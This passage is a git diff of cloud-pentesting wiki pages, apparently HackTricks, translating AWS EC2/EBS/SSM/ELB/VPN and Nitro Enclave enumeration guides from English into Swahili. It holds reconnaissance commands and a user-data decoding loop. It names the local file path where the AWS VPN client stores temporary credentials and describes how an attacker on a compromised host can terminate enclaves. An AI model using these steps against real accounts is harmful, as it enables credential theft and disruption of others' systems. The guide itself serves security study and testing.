describe-instances --profile --region us-west-2 | grep -Eo '"i-[a-zA-Z0-9]+' | tr -d '"'); do - echo "Instance ID: $instanceid" - aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d - echo "" - echo "-------------------" +echo "Instance ID: $instanceid" +aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d +echo "" +echo "-------------------" done # Instance profiles @@ -128,8 +127,7 @@ aws ec2 describe-route-tables aws ec2 describe-vpcs aws ec2 describe-vpc-peering-connections ``` - -### Unauthenticated Access +### Upatikanaji Usioidhinishwa {{#ref}} ../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -137,13 +135,13 @@ aws ec2 describe-vpc-peering-connections ### Privesc -In the following page you can check how to **abuse EC2 permissions to escalate privileges**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia ruhusa za EC2 kuongeza mamlaka**: {{#ref}} ../../aws-privilege-escalation/aws-ec2-privesc.md {{#endref}} -### Post-Exploitation +### Baada ya Kutekeleza {{#ref}} ../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/ @@ -151,17 +149,17 @@ In the following page you can check how to **abuse EC2 permissions to escalate p ## EBS -Amazon **EBS** (Elastic Block Store) **snapshots** are basically static **backups** of AWS EBS volumes. In other words, they are **copies** of the **disks** attached to an **EC2** Instance at a specific point in time. EBS snapshots can be copied across regions and accounts, or even downloaded and run locally. +Amazon **EBS** (Elastic Block Store) **snapshots** kimsingi ni **backup** za kudumu za AWS EBS volumes. Kwa maneno mengine, ni **nakala** za **diski** zilizounganishwa na **EC2** Instance katika wakati maalum. EBS snapshots zinaweza kunakiliwa kati ya mikoa na akaunti, au hata kupakuliwa na kuendesha kwa ndani. -Snapshots can contain **sensitive information** such as **source code or APi keys**, therefore, if you have the chance, it's recommended to check it. +Snapshots zinaweza kuwa na **habari nyeti** kama vile **msimbo wa chanzo au funguo za API**, kwa hivyo, ikiwa una nafasi, inashauriwa kuangalia. -### Difference AMI & EBS +### Tofauti AMI & EBS -An **AMI** is used to **launch an EC2 instance**, while an EC2 **Snapshot** is used to **backup and recover data stored on an EBS volume**. While an EC2 Snapshot can be used to create a new AMI, it is not the same thing as an AMI, and it does not include information about the operating system, application server, or other software required to run an application. +**AMI** inatumika ku **anzisha EC2 instance**, wakati **Snapshot** ya EC2 inatumika ku **backup na kurejesha data iliyohifadhiwa kwenye EBS volume**. Ingawa Snapshot ya EC2 inaweza kutumika kuunda AMI mpya, si sawa na AMI, na haijumuishi habari kuhusu mfumo wa uendeshaji, seva ya programu, au programu nyingine zinazohitajika kuendesha programu. ### Privesc -In the following page you can check how to **abuse EBS permissions to escalate privileges**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia ruhusa za EBS kuongeza mamlaka**: {{#ref}} ../../aws-privilege-escalation/aws-ebs-privesc.md @@ -169,14 +167,13 @@ In the following page you can check how to **abuse EBS permissions to escalate p ## SSM -**Amazon Simple Systems Manager (SSM)** allows to remotely manage floats of EC2 instances to make their administrations much more easy. Each of these instances need to be running the **SSM Agent service as the service will be the one getting the actions and performing them** from the AWS API. +**Amazon Simple Systems Manager (SSM)** inaruhusu kusimamia kwa mbali flot za EC2 instances ili kufanya usimamizi wao kuwa rahisi zaidi. Kila moja ya hizi instances inahitaji kuwa inafanya kazi **SSM Agent service kwani huduma hiyo itakuwa inapata vitendo na kuyatekeleza** kutoka kwa AWS API. -**SSM Agent** makes it possible for Systems Manager to update, manage, and configure these resources. The agent **processes requests from the Systems Manager service in the AWS Cloud**, and then runs them as specified in the request. +**SSM Agent** inafanya iwezekane kwa Systems Manager kuboresha, kusimamia, na kuunda mipangilio ya rasilimali hizi. Agent **inasindika maombi kutoka kwa huduma ya Systems Manager katika AWS Cloud**, na kisha inatekeleza kama ilivyoainishwa katika ombi. -The **SSM Agent comes**[ **preinstalled in some AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) or you need to [**manually install them**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) on the instances. Also, the IAM Role used inside the instance needs to have the policy **AmazonEC2RoleforSSM** attached to be able to communicate. - -### Enumeration +**SSM Agent inakuja**[ **imewekwa awali katika baadhi ya AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) au unahitaji [**kuziweka kwa mikono**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) kwenye instances. Pia, IAM Role inayotumika ndani ya instance inahitaji kuwa na sera **AmazonEC2RoleforSSM** iliyounganishwa ili kuweza kuwasiliana. +### Uainishaji ```bash aws ssm describe-instance-information aws ssm describe-parameters @@ -185,16 +182,13 @@ aws ssm describe-instance-patches --instance-id aws ssm describe-instance-patch-states --instance-ids aws ssm describe-instance-associations-status --instance-id ``` - -You can check in an EC2 instance if Systems Manager is runnign just by executing: - +Unaweza kuangalia katika mfano wa EC2 ikiwa Systems Manager inafanya kazi kwa kutekeleza: ```bash ps aux | grep amazon-ssm ``` - ### Privesc -In the following page you can check how to **abuse SSM permissions to escalate privileges**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za SSM ili kupandisha hadhi**: {{#ref}} ../../aws-privilege-escalation/aws-ssm-privesc.md @@ -202,10 +196,9 @@ In the following page you can check how to **abuse SSM permissions to escalate p ## ELB -**Elastic Load Balancing** (ELB) is a **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automatically **distributes incoming application traffic** and scales resources to meet traffic demands. +**Elastic Load Balancing** (ELB) ni huduma ya **kugawa mzigo kwa ajili ya Amazon Web Services** (AWS) deployments. ELB kiotomatiki **huhamisha trafiki ya programu inayokuja** na kuimarisha rasilimali ili kukidhi mahitaji ya trafiki. ### Enumeration - ```bash # List internet-facing ELBs aws elb describe-load-balancers @@ -216,11 +209,9 @@ aws elbv2 describe-load-balancers aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName' aws elbv2 describe-listeners --load-balancer-arn ``` +## Mifano ya Uzinduzi & Vikundi vya Kujiendesha -## Launch Templates & Autoscaling Groups - -### Enumeration - +### Hesabu ```bash # Launch templates aws ec2 describe-launch-templates @@ -235,12 +226,11 @@ aws autoscaling describe-launch-configurations aws autoscaling describe-load-balancer-target-groups aws autoscaling describe-load-balancers ``` - ## Nitro -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitro ni seti ya **teknolojia bunifu** ambazo zinaunda jukwaa la msingi kwa ajili ya AWS EC2 instances. Ilianzishwa na Amazon ili **kuimarisha usalama, utendaji, na uaminifu**, Nitro inatumia **vipengele vya vifaa maalum na hypervisor nyepesi**. Inatoa muonekano wa kazi nyingi za kawaida za virtualization kwa vifaa na programu maalum, **ikiweka chini uso wa shambulio** na kuboresha ufanisi wa rasilimali. Kwa kuhamasisha kazi za virtualization, Nitro inaruhusu EC2 instances kutoa **utendaji wa karibu na vifaa vya chuma**, na kufanya iwe na manufaa hasa kwa programu zinazohitaji rasilimali nyingi. Zaidi ya hayo, Chip ya Usalama ya Nitro inahakikisha **usalama wa vifaa na firmware**, ikiongeza nguvu ya usanifu wake. -Get more information and how to enumerate it from: +Pata maelezo zaidi na jinsi ya kuhesabu kutoka: {{#ref}} aws-nitro-enum.md @@ -248,35 +238,34 @@ aws-nitro-enum.md ## VPN -A VPN allows to connect your **on-premise network (site-to-site VPN)** or the **workers laptops (Client VPN)** with a **AWS VPC** so services can accessed without needing to expose them to the internet. +VPN inaruhusu kuunganisha **mtandao wako wa ndani (site-to-site VPN)** au **kompyuta za wafanyakazi (Client VPN)** na **AWS VPC** ili huduma ziweze kufikiwa bila kuhitaji kuzifichua kwa mtandao. -#### Basic AWS VPN Components +#### Vipengele vya Msingi vya AWS VPN 1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. +- Customer Gateway ni rasilimali unayounda katika AWS kuwakilisha upande wako wa muunganisho wa VPN. +- Kimsingi ni kifaa halisi au programu ya software upande wako wa muunganisho wa Site-to-Site VPN. +- Unatoa taarifa za routing na anwani ya IP ya umma ya kifaa chako cha mtandao (kama vile router au firewall) kwa AWS ili kuunda Customer Gateway. +- Inatumika kama alama ya kurejelea kwa kuanzisha muunganisho wa VPN na haina gharama za ziada. 2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. +- Virtual Private Gateway (VPG) ni mkusanyiko wa VPN upande wa Amazon wa muunganisho wa Site-to-Site VPN. +- Inahusishwa na VPC yako na inatumika kama lengo la muunganisho wako wa VPN. +- VPG ni mwisho wa upande wa AWS kwa muunganisho wa VPN. +- Inashughulikia mawasiliano salama kati ya VPC yako na mtandao wako wa ndani. 3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. +- Muunganisho wa Site-to-Site VPN unachanganya mtandao wako wa ndani na VPC kupitia tunnel salama ya IPsec VPN. +- Aina hii ya muunganisho inahitaji Customer Gateway na Virtual Private Gateway. +- Inatumika kwa mawasiliano salama, thabiti, na ya kawaida kati ya kituo chako cha data au mtandao na mazingira yako ya AWS. +- Kawaida inatumika kwa muunganisho wa kawaida, wa muda mrefu na inatozwa kulingana na kiasi cha data kinachohamishwa kupitia muunganisho. 4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +- Client VPN endpoint ni rasilimali unayounda katika AWS ili kuwezesha na kusimamia vikao vya client VPN. +- Inatumika kwa kuruhusu vifaa binafsi (kama kompyuta za mkononi, simu za mkononi, nk.) kuungana kwa usalama na rasilimali za AWS au mtandao wako wa ndani. +- Inatofautiana na Site-to-Site VPN kwa kuwa imeundwa kwa wateja binafsi badala ya kuunganisha mitandao yote. +- Kwa Client VPN, kila kifaa cha mteja kinatumia programu ya mteja wa VPN kuanzisha muunganisho salama. -You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn). +Unaweza [**kupata maelezo zaidi kuhusu faida na vipengele vya AWS VPNs hapa**](aws-vpc-and-networking-basic-information.md#vpn). ### Enumeration - ```bash # VPN endpoints ## Check used subnetwork, authentication, SGs, connected... @@ -300,18 +289,17 @@ aws ec2 describe-vpn-gateways # Get VPN site-to-site connections aws ec2 describe-vpn-connections ``` - ### Local Enumeration **Local Temporary Credentials** -When AWS VPN Client is used to connect to a VPN, the user will usually **login in AWS** to get access to the VPN. Then, some **AWS credentials are created and stored** locally to establish the VPN connection. These credentials are **stored in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` and contains an **AccessKey**, a **SecretKey** and a **Token**. +Wakati mteja wa AWS VPN anapotumika kuungana na VPN, mtumiaji kwa kawaida **anaingia katika AWS** ili kupata ufikiaji wa VPN. Kisha, baadhi ya **akikazi za AWS zinaundwa na kuhifadhiwa** kwa ndani ili kuanzisha muunganisho wa VPN. Akikazi hizi **zinahifadhiwa katika** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` na zina **AccessKey**, **SecretKey** na **Token**. -The credentials belong to the user `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: research more about the permissions of this credentials). +Akikazi zinamhusu mtumiaji `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: tafiti zaidi kuhusu ruhusa za akika hizi). **opvn config files** -If a **VPN connection was stablished** you should search for **`.opvn`** config files in the system. Moreover, one place where you could find the **configurations** is in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** +Ikiwa **muunganisho wa VPN umeanzishwa** unapaswa kutafuta **faili za config `.opvn`** katika mfumo. Zaidi ya hayo, mahali ambapo unaweza kupata **mipangilio** ni katika **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** #### **Post Exploitaiton** @@ -324,7 +312,3 @@ If a **VPN connection was stablished** you should search for **`.opvn`** config - [https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html](https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 0575a17d8..d3b84085a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -4,19 +4,18 @@ ## Basic Information -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitro ni seti ya **teknolojia bunifu** ambazo zinaunda jukwaa la msingi kwa ajili ya AWS EC2 instances. Ilianzishwa na Amazon ili **kuimarisha usalama, utendaji, na uaminifu**, Nitro inatumia **vipengele vya vifaa maalum na hypervisor nyepesi**. Inatoa muonekano wa kazi nyingi za kawaida za virtualization kwa vifaa na programu maalum, **ikiweka chini uso wa shambulio** na kuboresha ufanisi wa rasilimali. Kwa kuhamasisha kazi za virtualization, Nitro inaruhusu EC2 instances kutoa **utendaji wa karibu wa chuma tupu**, na kuifanya kuwa na manufaa hasa kwa programu zinazohitaji rasilimali nyingi. Zaidi ya hayo, Chip ya Usalama ya Nitro inahakikisha **usalama wa vifaa na firmware**, ikiongeza nguvu ya usanifu wake. ### Nitro Enclaves -**AWS Nitro Enclaves** provides a secure, **isolated compute environment within Amazon EC2 instances**, specifically designed for processing highly sensitive data. Leveraging the AWS Nitro System, these enclaves ensure robust **isolation and security**, ideal for **handling confidential information** such as PII or financial records. They feature a minimalist environment, significantly reducing the risk of data exposure. Additionally, Nitro Enclaves support cryptographic attestation, allowing users to verify that only authorized code is running, crucial for maintaining strict compliance and data protection standards. +**AWS Nitro Enclaves** inatoa mazingira salama, **ya kutengwa ya kompyuta ndani ya Amazon EC2 instances**, iliyoundwa mahsusi kwa ajili ya kushughulikia data nyeti sana. Kwa kutumia Mfumo wa AWS Nitro, maeneo haya yanahakikisha **kutengwa na usalama** mzuri, bora kwa **kushughulikia taarifa za siri** kama PII au rekodi za kifedha. Yana sifa ya mazingira ya kimsingi, ikipunguza kwa kiasi kikubwa hatari ya kufichuliwa kwa data. Zaidi ya hayo, Nitro Enclaves inasaidia uthibitisho wa kificho, ikiruhusu watumiaji kuthibitisha kwamba ni msimbo tu ulioidhinishwa unakimbia, muhimu kwa kudumisha ufuatiliaji mkali na viwango vya ulinzi wa data. > [!CAUTION] -> Nitro Enclave images are **run from inside EC2 instances** and you cannot see from the AWS web console if an EC2 instances is running images in Nitro Enclave or not. +> Picha za Nitro Enclave **zinakimbia kutoka ndani ya EC2 instances** na huwezi kuona kutoka kwenye konsole ya wavuti ya AWS kama EC2 instances inakimbia picha katika Nitro Enclave au la. ## Nitro Enclave CLI installation -Follow the all instructions [**from the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). However, these are the most important ones: - +Fuata maelekezo yote [**kutoka kwenye nyaraka**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). Hata hivyo, haya ndiyo muhimu zaidi: ```bash # Install tools sudo amazon-linux-extras install aws-nitro-enclaves-cli -y @@ -32,47 +31,39 @@ nitro-cli --version # Start and enable the Nitro Enclaves allocator service. sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service ``` - ## Nitro Enclave Images -The images that you can run in Nitro Enclave are based on docker images, so you can create your Nitro Enclave images from docker images like: - +Picha ambazo unaweza kuendesha katika Nitro Enclave zinategemea picha za docker, hivyo unaweza kuunda picha zako za Nitro Enclave kutoka kwa picha za docker kama: ```bash # You need to have the docker image accesible in your running local registry # Or indicate the full docker image URL to access the image nitro-cli build-enclave --docker-uri : --output-file nitro-img.eif ``` +Kama unavyoona, picha za Nitro Enclave zinatumia kiambatisho **`eif`** (Faili ya Picha ya Enclave). -As you can see the Nitro Enclave images use the extension **`eif`** (Enclave Image File). - -The output will look similar to: - +Matokeo yataonekana kama: ``` Using the locally available Docker image... Enclave Image successfully created. { - "Measurements": { - "HashAlgorithm": "Sha384 { ... }", - "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", - "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", - "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" - } +"Measurements": { +"HashAlgorithm": "Sha384 { ... }", +"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", +"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", +"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" +} } ``` - ### Run an Image -As per [**the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), in order to run an enclave image you need to assign it memory of **at least 4 times the size of the `eif` file**. It's possible to configure the default resources to give to it in the file - +Kulingana na [**nyaraka**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), ili kuendesha picha ya enclave unahitaji kuipatia kumbukumbu ya **angalau mara 4 ya ukubwa wa faili ya `eif`**. Inawezekana kuweka rasilimali za default za kuzipatia katika faili ```shell /etc/nitro_enclaves/allocator.yaml ``` - > [!CAUTION] -> Always remember that you need to **reserve some resources for the parent EC2** instance also! - -After knowing the resources to give to an image and even having modified the configuration file it's possible to run an enclave image with: +> Kumbuka daima kwamba unahitaji **kuhifadhi rasilimali fulani kwa ajili ya mfano wa EC2 wa mzazi** pia! +Baada ya kujua rasilimali za kutoa kwa picha na hata kuwa na marekebisho ya faili ya usanidi, inawezekana kuendesha picha ya enclave na: ```shell # Restart the service so the new default values apply sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service @@ -80,80 +71,72 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n # Indicate the CPUs and memory to give nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16 ``` - ### Enumerate Enclaves -If you compromise and EC2 host it's possible to get a list of running enclave images with: - +Ikiwa unavunja na EC2 mwenyeji, inawezekana kupata orodha ya picha za enclave zinazotembea kwa: ```bash nitro-cli describe-enclaves ``` - -It's **not possible to get a shell** inside a running enclave image because thats the main purpose of enclave, however, if you used the parameter **`--debug-mode`**, it's possible to get the **stdout** of it with: - +Ni **haiwezekani kupata shell** ndani ya picha ya enclave inayotembea kwa sababu hiyo ndiyo sababu kuu ya enclave, hata hivyo, ikiwa umetumia parameter **`--debug-mode`**, inawezekana kupata **stdout** yake kwa: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` - ### Terminate Enclaves -If an attacker compromise an EC2 instance by default he won't be able to get a shell inside of them, but he will be able to **terminate them** with: - +Ikiwa mshambuliaji atashambulia EC2 instance, kwa kawaida hatakuwa na uwezo wa kupata shell ndani yao, lakini ataweza **terminate them** na: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` - ## Vsocks -The only way to communicate with an **enclave** running image is using **vsocks**. +Njia pekee ya kuwasiliana na **enclave** inayotumia picha ni kutumia **vsocks**. -**Virtual Socket (vsock)** is a socket family in Linux specifically designed to facilitate **communication** between virtual machines (**VMs**) and their **hypervisors**, or between VMs **themselves**. Vsock enables efficient, **bi-directional communication** without relying on the host's networking stack. This makes it possible for VMs to communicate even without network configurations, **using a 32-bit Context ID (CID) and port numbers** to identify and manage connections. The vsock API supports both stream and datagram socket types, similar to TCP and UDP, providing a versatile tool for user-level applications in virtual environments. +**Virtual Socket (vsock)** ni familia ya soketi katika Linux iliyoundwa mahsusi kuwezesha **mawasiliano** kati ya mashine za virtual (**VMs**) na **hypervisors** zao, au kati ya VMs **wenyewe**. Vsock inaruhusu mawasiliano bora, **ya pande mbili** bila kutegemea mfumo wa mtandao wa mwenyeji. Hii inafanya iwezekane kwa VMs kuwasiliana hata bila usanidi wa mtandao, **wakitumia 32-bit Context ID (CID) na nambari za port** kutambua na kudhibiti muunganisho. API ya vsock inasaidia aina zote za soketi za mtiririko na datagram, sawa na TCP na UDP, ikitoa chombo chenye uwezo kwa programu za kiwango cha mtumiaji katika mazingira ya virtual. > [!TIP] -> Therefore, an vsock address looks like this: `:` +> Hivyo, anwani ya vsock inaonekana kama hii: `:` -To find **CIDs** of the enclave running images you could just execute the following cmd and thet the **`EnclaveCID`**: +Ili kupata **CIDs** za picha zinazotumia enclave unaweza tu kutekeleza cmd ifuatayo na kupata **`EnclaveCID`**: 
nitro-cli describe-enclaves
 
 [
-  {
-    "EnclaveName": "secure-channel-example",
-    "EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
-    "ProcessID": 10131,
+{
+"EnclaveName": "secure-channel-example",
+"EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
+"ProcessID": 10131,
     "EnclaveCID": 16,
     "NumberOfCPUs": 2,
-    "CPUIDs": [
-      1,
-      3
-    ],
-    "MemoryMiB": 1024,
-    "State": "RUNNING",
-    "Flags": "DEBUG_MODE",
-    "Measurements": {
-      "HashAlgorithm": "Sha384 { ... }",
-      "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
-      "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
-      "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
-    }
-  }
+"CPUIDs": [
+1,
+3
+],
+"MemoryMiB": 1024,
+"State": "RUNNING",
+"Flags": "DEBUG_MODE",
+"Measurements": {
+"HashAlgorithm": "Sha384 { ... }",
+"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
+"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
+"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
+}
+}
 ]
> [!WARNING] -> Note that from the host there isn't any way to know if a CID is exposing any port! Unless using some **vsock port scanner like** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). +> Kumbuka kwamba kutoka kwa mwenyeji hakuna njia ya kujua kama CID inafichua port yoyote! Isipokuwa kwa kutumia **vsock port scanner kama** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). ### Vsock Server/Listener -Find here a couple of examples: +Pata hapa mifano kadhaa: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py)
Simple Python Listener - ```python #!/usr/bin/env python3 @@ -173,30 +156,26 @@ s.listen() print(f"Connection opened by cid={remote_cid} port={remote_port}") while True: - buf = conn.recv(64) - if not buf: - break +buf = conn.recv(64) +if not buf: +break - print(f"Received bytes: {buf}") +print(f"Received bytes: {buf}") ``` -
- ```bash # Using socat socat VSOCK-LISTEN:,fork EXEC:"echo Hello from server!" ``` - ### Vsock Client -Examples: +Mifano: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py)
-Simple Python Client - +Client Rahisi wa Python ```python #!/usr/bin/env python3 @@ -212,43 +191,34 @@ s.connect((CID, PORT)) s.sendall(b"Hello, world!") s.close() ``` -
- ```bash # Using socat echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000 ``` - ### Vsock Proxy -The tool vsock-proxy allows to proxy a vsock proxy with another address, for example: - +Chombo vsock-proxy kinaruhusu kuproxy vsock proxy na anwani nyingine, kwa mfano: ```bash vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml ``` - -This will forward the **local port 8001 in vsock** to `ip-ranges.amazonaws.com:443` and the file **`your-vsock-proxy.yaml`** might have this content allowing to access `ip-ranges.amazonaws.com:443`: - +Hii itapeleka **bandari ya ndani 8001 katika vsock** kwa `ip-ranges.amazonaws.com:443` na faili **`your-vsock-proxy.yaml`** inaweza kuwa na maudhui haya yanayoruhusu kufikia `ip-ranges.amazonaws.com:443`: ```yaml allowlist: - - { address: ip-ranges.amazonaws.com, port: 443 } +- { address: ip-ranges.amazonaws.com, port: 443 } ``` - -It's possible to see the vsock addresses (**`:`**) used by the EC2 host with (note the `3:8001`, 3 is the CID and 8001 the port): - +Ni possible kuona anwani za vsock (**`:`**) zinazotumiwa na mwenyeji wa EC2 kwa (zingatia `3:8001`, 3 ni CID na 8001 ni port): ```bash sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` - ## Nitro Enclave Atestation & KMS The Nitro Enclaves SDK allows an enclave to request a **cryptographically signed attestation document** from the Nitro **Hypervisor**, which includes **unique measurements** specific to that enclave. These measurements, which include **hashes and platform configuration registers (PCRs)**, are used during the attestation process to **prove the enclave's identity** and **build trust with external services**. The attestation document typically contains values like PCR0, PCR1, and PCR2, which you have encountered before when building and saving an enclave EIF. From the [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), these are the PCR values: -
PCRHash of ...Description
PCR0Enclave image fileA contiguous measure of the contents of the image file, without the section data.
PCR1Linux kernel and bootstrapA contiguous measurement of the kernel and boot ramfs data.
PCR2ApplicationA contiguous, in-order measurement of the user applications, without the boot ramfs.
PCR3IAM role assigned to the parent instanceA contiguous measurement of the IAM role assigned to the parent instance. Ensures that the attestation process succeeds only when the parent instance has the correct IAM role.
PCR4Instance ID of the parent instanceA contiguous measurement of the ID of the parent instance. Ensures that the attestation process succeeds only when the parent instance has a specific instance ID.
PCR8Enclave image file signing certificateA measure of the signing certificate specified for the enclave image file. Ensures that the attestation process succeeds only when the enclave was booted from an enclave image file signed by a specific certificate.
+
PCRHash of ...Description
PCR0Faila ya picha ya enclaveVipimo vya mfuatano vya maudhui ya faili ya picha, bila data ya sehemu.
PCR1Kernel ya Linux na bootstrapVipimo vya mfuatano vya kernel na data ya boot ramfs.
PCR2ProgramuVipimo vya mfuatano, kwa mpangilio wa programu za mtumiaji, bila boot ramfs.
